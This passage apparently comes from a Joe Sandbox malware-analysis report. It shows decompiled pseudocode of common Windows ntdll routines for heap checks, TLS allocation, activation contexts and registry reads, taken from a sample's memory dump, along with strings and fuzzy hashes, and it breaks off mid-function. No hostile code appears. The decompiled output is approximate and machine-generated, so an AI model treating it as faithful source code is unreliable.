									if(_t60 <  *((intOrPtr*)(_t52 + 0x14)) || _t60 >=  *((intOrPtr*)(_t52 + 0x18))) {
										_t52 =  *_t52;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t54 =  *((intOrPtr*)(_t60 + 6));
						if(_t54 == 0) {
							_t67 = _t80;
						} else {
							_t67 = (_t60 & 0xffff0000) - ((_t54 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t67 == 0 ||  *((intOrPtr*)(_t67 + 0x18)) != _t80 || _t60 <  *((intOrPtr*)(_t67 + 0x24)) || _t60 >=  *((intOrPtr*)(_t67 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					}
					_t57 =  *__edx;
					_t78 =  *(__ecx + 0x50) ^ _t57;
					_v12 = _t57;
					_v12 = _t78;
					if(_t78 >> 0x18 != (_t78 >> 0x00000010 ^ _t78 >> 0x00000008 ^ _t78)) {
						goto L37;
					}
					goto L6;
				}
			}

0x34c77548
0x34c7754b
0x34c7754f
0x34cdad1e
0x34cdad28
0x34cdad47
0x34cdad4c
0x34cdad2a
0x34cdad3f
0x34cdad44
0x34cdad55
0x34cdad56
0x34cdad5f
0x34cdad71
0x34cdad73
0x34cdad7a
0x34cdad7b
0x34cdad7b
0x00000000
0x34c7755e
0x34c7755e
0x34c77563
0x00000000
0x00000000
0x34c7756b
0x34c77639
0x34c77659
0x34c7763b
0x34c7763b
0x34c7763b
0x34c77643
0x34c7764b
0x34c77626
0x00000000
0x34c77626
0x34c7764d
0x00000000
0x34c77643
0x34c77575
0x34c7759d
0x34c775a1
0x34cdad06
0x00000000
0x00000000
0x34c775eb
0x34c775ef
0x34c7765d
0x34c775f1
0x34c775f1
0x34c775f6
0x34c775f8
0x34c775f8
0x34c775fb
0x34c775fb
0x34c77600
0x34cdad18
0x00000000
0x00000000
0x34c77606
0x34c77606
0x34c7760a
0x00000000
0x00000000
0x34c7760c
0x34c77612
0x34c77614
0x34c7761f
0x34c7762e
0x00000000
0x00000000
0x00000000
0x00000000
0x34c7761f
0x34c77614
0x00000000
0x34c77600
0x34c775a7
0x34c775ac
0x34c77652
0x34c775b2
0x34c775c2
0x34c775c2
0x34c775ca
0x00000000
0x00000000
0x00000000
0x00000000
0x34c775ca
0x34c77577
0x34c7757c
0x34c7757e
0x34c77583
0x34c77597
0x00000000
0x00000000
0x00000000
0x34c77597

Strings

HEAP[%wZ]: , xrefs: 34CDAD3A
HEAP: , xrefs: 34CDAD47
Invalid address specified to %s( %p, %p ), xrefs: 34CDAD5A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: 98f4565bed1381d9ebc9f2ea6d8ce00e1ed150508677368b831459634c59f108
Instruction ID: 9e5714e79c889e6b72a6a5871a474cee4388480880a2ed7aa50991e3750c0416
Opcode Fuzzy Hash: 98f4565bed1381d9ebc9f2ea6d8ce00e1ed150508677368b831459634c59f108
Instruction Fuzzy Hash: 734133782013448FFB15DF1DC4C0BA57BA3DF02348F6484AED686CB65ACAA6E446CB21

Uniqueness

Uniqueness Score: -1.00%

Function 34CB15EF Relevance: 3.9, Strings: 3, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E34CB15EF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t59;
				intOrPtr _t62;
				signed int _t83;
				intOrPtr _t87;
				intOrPtr _t95;
				intOrPtr* _t98;
				signed int _t99;
				intOrPtr _t102;
				void* _t104;
				void* _t106;

				_push("true");
				_push(0x34d5c6d0);
				L34CD7BE4(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t104 - 0x2c)) =  *[fs:0x18];
				 *((intOrPtr*)(_t104 - 0x24)) =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				 *((intOrPtr*)(_t104 - 0x1c)) = 0;
				L34C853C0(0x34d76718);
				_t83 =  *0x34d75c90; // 0x11
				 *(_t104 - 0x48) = _t83;
				if(_t83 == 0) {
					_t102 =  *((intOrPtr*)(_t104 - 0x2c)) + 0x2c;
					L9:
					 *((intOrPtr*)( *((intOrPtr*)(_t104 - 0x2c)) + 0x2c)) = _t102;
					asm("lock inc dword [0x34d75c80]");
					E34C852F0(_t83, 0x34d76718);
					_t59 = 0;
					L10:
					 *[fs:0x0] =  *((intOrPtr*)(_t104 - 0x10));
					return _t59;
				}
				_t102 = E34CB174A(_t83);
				 *((intOrPtr*)(_t104 - 0x40)) = _t102;
				if(_t102 == 0) {
					E34C852F0(_t83, 0x34d76718);
					_t59 = 0xc0000017;
					goto L10;
				}
				 *((intOrPtr*)(_t104 - 0x30)) = 0x34d733a8;
				_t62 =  *0x34d733a8; // 0x4982ff0
				 *((intOrPtr*)(_t104 - 0x20)) = _t62;
				while(1) {
					_t98 =  *((intOrPtr*)(_t104 - 0x20));
					if(_t98 ==  *((intOrPtr*)(_t104 - 0x30))) {
						goto L9;
					}
					 *((intOrPtr*)(_t104 - 0x44)) = _t98;
					 *((intOrPtr*)(_t104 - 0x20)) =  *_t98;
					 *((intOrPtr*)(_t104 - 0x28)) = E34CB1715(_t98, _t104 - 0x34);
					_t87 =  *0x34d75d78; // 0x0
					_t88 = _t87 + 0xc0000;
					 *(_t104 - 0x38) =  *(_t104 - 0x34);
					_t95 = E34C95D90(_t87 + 0xc0000,  *((intOrPtr*)(_t104 - 0x24)), _t87 + 0xc0000, _t65 +  *(_t104 - 0x34) + 1);
					if(_t95 == 0) {
						 *((intOrPtr*)(_t104 - 0x1c)) = 0xc0000017;
						L13:
						E34C852F0(_t88, 0x34d76718);
						_t99 = 0;
						do {
							_t69 =  *((intOrPtr*)(_t102 + _t99 * 4));
							if( *((intOrPtr*)(_t102 + _t99 * 4)) != 0) {
								L34C93BC0( *((intOrPtr*)(_t104 - 0x24)), 0,  *((intOrPtr*)(_t69 - 4)));
							}
							_t99 = _t99 + 1;
						} while (_t99 <  *(_t104 - 0x48));
						_t42 = _t102 - 8; // -8
						L34C93BC0( *((intOrPtr*)(_t104 - 0x24)), 0, _t42);
						_t59 =  *((intOrPtr*)(_t104 - 0x1c));
						goto L10;
					}
					_t19 =  *(_t104 - 0x38) + 1; // 0x1
					_t88 = _t19 + _t95 &  !( *(_t104 - 0x38));
					 *((intOrPtr*)(_t88 - 4)) = _t95;
					_t21 = _t98 + 0x24; // 0x77e133c8
					 *(_t102 +  *_t21 * 4) = _t88;
					 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
					E34CC88C0(_t88,  *((intOrPtr*)(_t98 + 8)),  *((intOrPtr*)(_t104 - 0x28)));
					_t106 = _t106 + 0xc;
					 *(_t104 - 4) = 0xfffffffe;
					if( *((intOrPtr*)(_t104 - 0x1c)) < 0) {
						goto L13;
					}
					if(( *0x34d737c0 & 0x00000005) != 0) {
						_t45 = _t98 + 0x24; // 0x77e133c8
						_t83 =  *_t45;
						_push( *((intOrPtr*)(_t102 + _t83 * 4)));
						_push( *((intOrPtr*)(_t98 + 8)));
						_t49 = _t98 + 0xc; // 0x0
						_push( *_t49 -  *((intOrPtr*)(_t98 + 8)));
						_push(_t83);
						E34CFE692("minkernel\\ntdll\\ldrtls.c", 0x369, "LdrpAllocateTls", 2, "TlsVector %p Index %d : %d bytes copied from %p to %p\n", _t102);
						_t106 = _t106 + 0x28;
					}
				}
				goto L9;
			}

0x34cb15ef
0x34cb15f1
0x34cb15f6
0x34cb1601
0x34cb160d
0x34cb1612
0x34cb161b
0x34cb1620
0x34cb1626
0x34cb162b
0x34cb16ed
0x34cb16f0
0x34cb16f3
0x34cb16f6
0x34cb16fe
0x34cb1703
0x34cb1705
0x34cb1708
0x34cb1714
0x34cb1714
0x34cb1636
0x34cb1638
0x34cb163d
0x34cf18ae
0x34cf18b3
0x00000000
0x34cf18b3
0x34cb1643
0x34cb164a
0x34cb164f
0x34cb1652
0x34cb1652
0x34cb1658
0x00000000
0x00000000
0x34cb165e
0x34cb1665
0x34cb1672
0x34cb1675
0x34cb167b
0x34cb1684
0x34cb1694
0x34cb1698
0x34cf18bd
0x34cf18c4
0x34cf18c5
0x34cf18ca
0x34cf18cc
0x34cf18cc
0x34cf18d1
0x34cf18db
0x34cf18db
0x34cf18e0
0x34cf18e1
0x34cf18e6
0x34cf18ef
0x34cf18f4
0x00000000
0x34cf18f4
0x34cb16a1
0x34cb16a8
0x34cb16aa
0x34cb16ad
0x34cb16b0
0x34cb16b3
0x34cb16be
0x34cb16c3
0x34cb16c6
0x34cb16d2
0x00000000
0x00000000
0x34cb16df
0x34cf1931
0x34cf1931
0x34cf1934
0x34cf1937
0x34cf193a
0x34cf1940
0x34cf1941
0x34cf1959
0x34cf195e
0x34cf195e
0x34cb16df
0x00000000

Strings

LdrpAllocateTls, xrefs: 34CF194A
TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 34CF1943
minkernel\ntdll\ldrtls.c, xrefs: 34CF1954

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: c5901c16f58133bfb4f7c87c93edd2ec8055bc6cceaa32835467b9517e4d73cf
Instruction ID: 53627ed631092c1c0c2025e17033dc73151d6b8fa361cef7b8379b8e52f591bd
Opcode Fuzzy Hash: c5901c16f58133bfb4f7c87c93edd2ec8055bc6cceaa32835467b9517e4d73cf
Instruction Fuzzy Hash: DB4156B5A00605EFEB54CFA9CC50BAEBBF6FF48354F448119E406A7651DB39A901CF90

Uniqueness

Uniqueness Score: -1.00%

Function 34CB32C0 Relevance: 3.9, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E34CB32C0(void* __ebx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t32;
				signed int _t42;
				int _t50;
				int _t51;
				signed int _t52;
				void* _t55;
				signed int _t58;
				signed int* _t59;
				signed int _t63;
				void* _t67;
				intOrPtr* _t72;
				void* _t77;
				void* _t78;
				void* _t79;
				void* _t96;

				_t55 = __ebx;
				_t32 = _a8;
				_t72 = 0;
				if(_t32 == "Actx ") {
					E34D0EF10(0x33, 0, "SXS: %s() passed the empty activation context data\n", "RtlCreateActivationContext");
					_t79 = 0xc000000d;
					L13:
					return _t79;
				}
				_t59 = _a24;
				if(_t59 != 0) {
					 *_t59 =  *_t59 & 0;
				}
				_push(_t55);
				if(_a4 != _t72 || _t32 == 0) {
					L17:
					_t79 = 0xc000000d;
					goto L18;
				} else {
					_t57 = _a12;
					if(_a12 > 0x10000 || _t59 == 0) {
						goto L17;
					} else {
						_t79 = E34CB341D(_t32, _t59);
						if(_t79 < 0) {
							L12:
							goto L13;
						}
						_t72 = E34C95D90(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57 + 0x130);
						if(_t72 == 0) {
							_t79 = 0xc0000017;
							goto L12;
						}
						_t60 = _a8;
						_t58 = _t72 + 4;
						 *_t72 = 0x674d6341;
						_push("true");
						_pop(_t42);
						asm("sbb eax, eax");
						_t79 = E34CB33D0(_t58 + 0x5c,  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x18)) + _t60 + 8)),  !_t42 & _t58 + 0x00000068);
						if(_t79 < 0) {
							L18:
							__eflags = _t72;
							if(_t72 != 0) {
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t72);
							}
							goto L12;
						}
						 *(_t58 + 4) =  *(_t58 + 4) & 0x00000000;
						 *((intOrPtr*)(_t58 + 0x10)) = _a8;
						 *((intOrPtr*)(_t58 + 0x14)) = _a16;
						_push("true");
						 *((intOrPtr*)(_t58 + 0x18)) = _a20;
						_pop(_t63);
						 *_t58 = 1;
						_t50 = memset(_t58 + 0x1c, 0, _t63 << 2);
						_push("true");
						_t51 = memset(_t58 + 0x3c, _t50, 0 << 2);
						_push("true");
						_t77 = _t58 + 0xec;
						_pop(_t67);
						_t52 = memset(_t77, _t51, 0 << 2);
						_t78 = _t77 + _t67;
						 *(_t58 + 0xe8) =  *(_t58 + 0xe8) & _t52;
						_t96 =  *0x34d76911 - _t52; // 0x0
						if(_t96 != 0) {
							L34D0DB2A(_t58, _t58, _t78, _t79, __eflags);
						}
						_t79 = 0;
						 *_a24 = _t58;
						goto L12;
					}
				}
			}

0x34cb32c0
0x34cb32c5
0x34cb32ca
0x34cb32d1
0x34cf2811
0x34cf2819
0x34cb33c0
0x34cb33c4
0x34cb33c4
0x34cb32d7
0x34cb32dc
0x34cb32de
0x34cb32de
0x34cb32e0
0x34cb32e4
0x34cf282d
0x34cf282d
0x00000000
0x34cb32f2
0x34cb32f2
0x34cb32fb
0x00000000
0x34cb3309
0x34cb3311
0x34cb3315
0x34cb33be
0x00000000
0x34cb33be
0x34cb3332
0x34cb3336
0x34cf2823
0x00000000
0x34cf2823
0x34cb333c
0x34cb333f
0x34cb3342
0x34cb3348
0x34cb3354
0x34cb3357
0x34cb3366
0x34cb336a
0x34cf2832
0x34cf2832
0x34cf2834
0x34cf2846
0x34cf2846
0x00000000
0x34cf2834
0x34cb3376
0x34cb337a
0x34cb3380
0x34cb3386
0x34cb3388
0x34cb338d
0x34cb338e
0x34cb3394
0x34cb3396
0x34cb339c
0x34cb339e
0x34cb33a0
0x34cb33a6
0x34cb33a7
0x34cb33a7
0x34cb33a9
0x34cb33af
0x34cb33b5
0x34cb33c9
0x34cb33c9
0x34cb33ba
0x34cb33bc
0x00000000
0x34cb33bc
0x34cb32fb

Strings

RtlCreateActivationContext, xrefs: 34CF2803
Actx , xrefs: 34CB32CC
SXS: %s() passed the empty activation context data, xrefs: 34CF2808

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: cab4f79b40d9f611548799de67948ee9f6dbdfa5077b8f633d482ab862f0c711
Instruction ID: fa11a09c9239e3d795adf984c6cdec54511dae034428d92c34b30979eff21660
Opcode Fuzzy Hash: cab4f79b40d9f611548799de67948ee9f6dbdfa5077b8f633d482ab862f0c711
Instruction Fuzzy Hash: AC3110726003059FEF02CE98D890B9A37A6EB44710F508469EC05DF2A6DBB6D846CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 34D0B214 Relevance: 3.9, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E34D0B214(void* __ecx) {
				char _v8;
				char _v12;
				short _v14;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				char _v40;
				char _v44;
				intOrPtr _v576;
				char _v580;
				intOrPtr _t44;
				intOrPtr _t46;
				intOrPtr* _t61;
				void* _t64;
				short _t65;
				void* _t66;
				intOrPtr* _t67;

				_t66 = __ecx;
				_v8 = 0;
				E34CC8F40( &_v580, 0, 0x214);
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_push(0);
				_push(0x210);
				_push( &_v580);
				_push(0x2b);
				_push(_t66);
				if((L34CC2B20() & 0xc0000000) == 0xc0000000) {
					L9:
					if(_v8 != 0) {
						_push(_v8);
						E34CC2A80();
						_v8 = 0;
					}
					_t38 = _v12;
					if(_v12 != 0) {
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t38);
					}
					return _v20;
				}
				_t67 = E34D0B39F(_v576);
				if(_t67 == 0) {
					goto L9;
				} else {
					_t61 = _t67;
					_t8 = _t61 + 2; // 0x2
					_t64 = _t8;
					goto L3;
					L3:
					_t44 =  *_t61;
					_t61 = _t61 + 2;
					if(_t44 != 0) {
						goto L3;
					} else {
						_t63 = _t61 - _t64 >> 1;
						_t65 = 0xc2 + (_t61 - _t64 >> 1) * 2;
						_t46 = E34C95D90(_t61 - _t64 >> 1,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t65);
						_v12 = _t46;
						if(_t46 != 0) {
							_v14 = _t65;
							if(E34C8FE40(_t63,  &_v16, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") >= 0 && E34C8FE40(_t63,  &_v16, _t67) >= 0) {
								_v44 = 0x18;
								_v36 =  &_v16;
								_push( &_v44);
								_push(1);
								_v40 = 0;
								_push( &_v8);
								_v32 = 0x40;
								_v28 = 0;
								_v24 = 0;
								if(E34CC2AB0() >= 0) {
									E34C76CC0(_v8, L"GlobalFlag", "true",  &_v20, "true", 0);
								}
							}
						}
						goto L9;
					}
				}
			}

0x34d0b231
0x34d0b233
0x34d0b236
0x34d0b23e
0x34d0b247
0x34d0b24a
0x34d0b24d
0x34d0b24e
0x34d0b253
0x34d0b254
0x34d0b256
0x34d0b265
0x34d0b31c
0x34d0b31f
0x34d0b321
0x34d0b324
0x34d0b329
0x34d0b329
0x34d0b32c
0x34d0b331
0x34d0b33e
0x34d0b33e
0x34d0b34a
0x34d0b34a
0x34d0b276
0x34d0b27a
0x00000000
0x34d0b280
0x34d0b280
0x34d0b282
0x34d0b282
0x34d0b282
0x34d0b285
0x34d0b285
0x34d0b288
0x34d0b28e
0x00000000
0x34d0b290
0x34d0b298
0x34d0b29a
0x34d0b2a6
0x34d0b2ab
0x34d0b2b0
0x34d0b2ba
0x34d0b2c6
0x34d0b2d9
0x34d0b2e0
0x34d0b2e6
0x34d0b2e7
0x34d0b2ec
0x34d0b2ef
0x34d0b2f0
0x34d0b2f7
0x34d0b2fa
0x34d0b304
0x34d0b317
0x34d0b317
0x34d0b304
0x34d0b2c6
0x00000000
0x34d0b2b0
0x34d0b28e

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 34D0B2B2
GlobalFlag, xrefs: 34D0B30F
@, xrefs: 34D0B2F0

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 9e1bd3f31d65e60c09442c580d103109d33ebbb3764131b18d00e1e9edaa23a6
Instruction ID: 9ed35cd3222c215397a862cbdb589a85314a580ec2c8f9ae8a3fc2acef447cef
Opcode Fuzzy Hash: 9e1bd3f31d65e60c09442c580d103109d33ebbb3764131b18d00e1e9edaa23a6
Instruction Fuzzy Hash: 37315AB1E00609AFEB10DF94CC80AEEBBBDEF44348F544469E601A7250D7749E04CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 34CB1527 Relevance: 3.8, Strings: 3, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E34CB1527(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t17;
				intOrPtr _t19;
				signed int _t25;
				signed int _t28;
				intOrPtr _t35;
				signed int _t39;
				signed int _t41;
				signed int _t43;
				void* _t45;
				signed int _t51;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_push(_t28);
				_t43 =  *0x34d75d8c; // 0x4982ce0
				_push(_t39);
				if(_t43 == 0x34d75d8c) {
					L5:
					 *0x34d75c90 =  *0x34d75c90 & 0x00000000;
					 *0x34d75c94 =  *0x34d75c94 & 0x00000000;
					_t51 =  *0x34d75c94;
					L6:
					_t17 = E34CB15EF(_t28, _t39, _t43, _t51);
					L7:
					return _t17;
				}
				_t28 = 1;
				do {
					_t39 = _t43;
					_t43 =  *_t43;
					_t4 = _t39 + 0x18; // 0x400000
					_t19 = E34C8DE20(_t32, 1,  *_t4, _t28, 9,  &_v12);
					_v12 = _t19;
					if(_t19 != 0) {
						__eflags =  *0x34d737c0 & 0x00000005;
						if(__eflags != 0) {
							_push(_t19);
							_t12 = _t39 + 0x24; // 0x4982d04
							E34CFE692("minkernel\\ntdll\\ldrtls.c", 0x241, "LdrpInitializeTls", 2, "DLL \"%wZ\" has TLS information at %p\n", _t12);
							_t19 = _v12;
							_t45 = _t45 + 0x1c;
						}
						_push(0);
						_push(0);
						_push( &_v8);
						_t32 = _t19;
						_t17 = E34CB1796(_t28, _t19, _t39, _t39, _t43, __eflags);
						__eflags = _t17;
						if(__eflags < 0) {
							goto L7;
						}
						 *((short*)(_t39 + 0x3a)) = 0xffff;
					}
				} while (_t43 != 0x34d75d8c);
				_t43 = _v8;
				if(_t43 != 0) {
					_t41 = _t43 + 8;
					__eflags = _t41 - 0x20;
					if(_t41 > 0x20) {
						_t35 =  *0x34d75d78; // 0x0
						_t14 = _t43 + 0x27; // 0x27
						_t28 = _t14 >> 5;
						_t25 = E34C95D90(_t35 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, _t28 << 2);
						__eflags = _t25;
						if(_t25 != 0) {
							_t43 = _v8;
							L13:
							 *0x34d75c90 = _t41;
							_t39 = 0x34d75c90;
							 *0x34d75c98 = _t28;
							 *0x34d75c94 = _t25;
							E34CB1AD0(0x34d75c90, 0, _t43);
							L34CB1B10(0x34d75c90, _t43, "true");
							goto L6;
						}
						_t17 = 0xc0000017;
						goto L7;
					}
					_t25 = 0x34d75c88;
					goto L13;
				}
				goto L5;
			}

0x34cb1527
0x34cb152c
0x34cb152d
0x34cb152e
0x34cb1532
0x34cb1534
0x34cb153a
0x34cb1541
0x34cb156f
0x34cb156f
0x34cb1576
0x34cb1576
0x34cb157d
0x34cb157d
0x34cb1582
0x34cb1586
0x34cb1586
0x34cb1545
0x34cb1546
0x34cb1549
0x34cb154b
0x34cb1551
0x34cb1554
0x34cb1559
0x34cb155e
0x34cb1587
0x34cb158e
0x34cf1845
0x34cf1846
0x34cf1860
0x34cf1865
0x34cf1868
0x34cf1868
0x34cb1594
0x34cb1596
0x34cb159d
0x34cb159e
0x34cb15a0
0x34cb15a5
0x34cb15a7
0x00000000
0x00000000
0x34cb15ae
0x34cb15ae
0x34cb1560
0x34cb1568
0x34cb156d
0x34cb15b4
0x34cb15b7
0x34cb15ba
0x34cf1870
0x34cf1876
0x34cf1879
0x34cf1892
0x34cf1897
0x34cf1899
0x34cf18a5
0x34cb15c5
0x34cb15c6
0x34cb15cc
0x34cb15d4
0x34cb15da
0x34cb15df
0x34cb15e8
0x00000000
0x34cb15e8
0x34cf189b
0x00000000
0x34cf189b
0x34cb15c0
0x00000000
0x34cb15c0
0x00000000

Strings

minkernel\ntdll\ldrtls.c, xrefs: 34CF185B
DLL "%wZ" has TLS information at %p, xrefs: 34CF184A
LdrpInitializeTls, xrefs: 34CF1851

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 83e1263d87aeb224743a1dd4f25439ac1137d3f3211e44171a81a95e1988c54c
Instruction ID: 1dd25e7a7b014886b851f7ece2210801c6f90303867e0f6c2b8c4ebe54b6192e
Opcode Fuzzy Hash: 83e1263d87aeb224743a1dd4f25439ac1137d3f3211e44171a81a95e1988c54c
Instruction Fuzzy Hash: FF31F172A00304AFFB508F45CDA1B9A7BAAEF45394F05405AE443B7680DF70AD098B91

Uniqueness

Uniqueness Score: -1.00%

Function 34CC1190 Relevance: 3.8, Strings: 3, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E34CC1190(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				char _v12;
				char _v20;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				char _v52;
				signed int _t38;
				signed int _t39;
				void* _t55;
				void* _t61;
				void* _t62;
				signed int _t63;
				void* _t65;
				signed int _t70;

				_t55 = __edx;
				E34CC5050(__ecx,  &_v20, __ecx);
				_v52 = 0x18;
				_v44 =  &_v20;
				_v48 = 0;
				_push( &_v52);
				_push(0x20019);
				_v40 = 0x40;
				_push( &_v12);
				_v36 = 0;
				_v32 = 0;
				_t62 = E34CC2AB0();
				if(_t62 < 0) {
					L9:
					return _t62;
				}
				_t38 = _a8;
				_t63 = 2;
				_t39 = _t38 * _t63;
				_t70 = _t38 * _t63 >> 0x20;
				if(_t70 < 0 || _t70 <= 0 && _t39 <= 0xffffffff) {
					_v8 = _t39;
					_push( &_v8);
					_push("true");
					_pop(_t61);
					_t58 = _t39;
					if(E34CB457E(_t39, _t61) < 0) {
						goto L13;
					}
					_t65 = E34C95D90(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v8);
					if(_t65 == 0) {
						_t62 = 0xc0000017;
					} else {
						E34CC5050(_t58,  &_v28, _t55);
						_push( &_a8);
						_push(_v8);
						_push(_t65);
						_push(_t63);
						_push( &_v28);
						_push(_v12);
						_t62 = L34CC2B00();
						if(_t62 >= 0) {
							E34CC88C0(_a4, _t65 + 0xc,  *((intOrPtr*)(_t65 + 8)));
						}
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t65);
					}
					_push(_v12);
					E34CC2A80();
					goto L9;
				} else {
					L13:
					_push(_v12);
					E34CC2A80();
					return 0xc0000095;
				}
			}

0x34cc119f
0x34cc11a2
0x34cc11aa
0x34cc11b1
0x34cc11b9
0x34cc11bc
0x34cc11bd
0x34cc11c5
0x34cc11cc
0x34cc11cd
0x34cc11d0
0x34cc11d8
0x34cc11dc
0x34cc126d
0x00000000
0x34cc126d
0x34cc11e2
0x34cc11e7
0x34cc11e8
0x34cc11ea
0x34cc11ec
0x34cc1200
0x34cc1203
0x34cc1204
0x34cc1206
0x34cc1207
0x34cc1210
0x00000000
0x00000000
0x34cc1229
0x34cc122d
0x34cc128a
0x34cc122f
0x34cc1234
0x34cc123c
0x34cc123d
0x34cc1243
0x34cc1244
0x34cc1245
0x34cc1246
0x34cc124e
0x34cc1252
0x34cc1280
0x34cc1285
0x34cc1260
0x34cc1260
0x34cc1265
0x34cc1268
0x00000000
0x34cf9a99
0x34cf9a99
0x34cf9a99
0x34cf9a9c
0x00000000
0x34cf9aa1

Strings

@, xrefs: 34CC11C5
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 34CC119B
BuildLabEx, xrefs: 34CC122F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 760b537d3be61d34daff739933b3035096550dba3921f427743609871724948b
Instruction ID: 1862fd41b63161d122cfea2b28873c639d272df507d8d1581509dcf3ee17905a
Opcode Fuzzy Hash: 760b537d3be61d34daff739933b3035096550dba3921f427743609871724948b
Instruction Fuzzy Hash: 26315EB6900619FFEB11CB95CC44EEEBBBEEB84650F004025E515A7260EB34DE469BA0

Uniqueness

Uniqueness Score: -1.00%

Function 34D085AA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E34D085AA(intOrPtr* __ecx) {
				intOrPtr _t9;
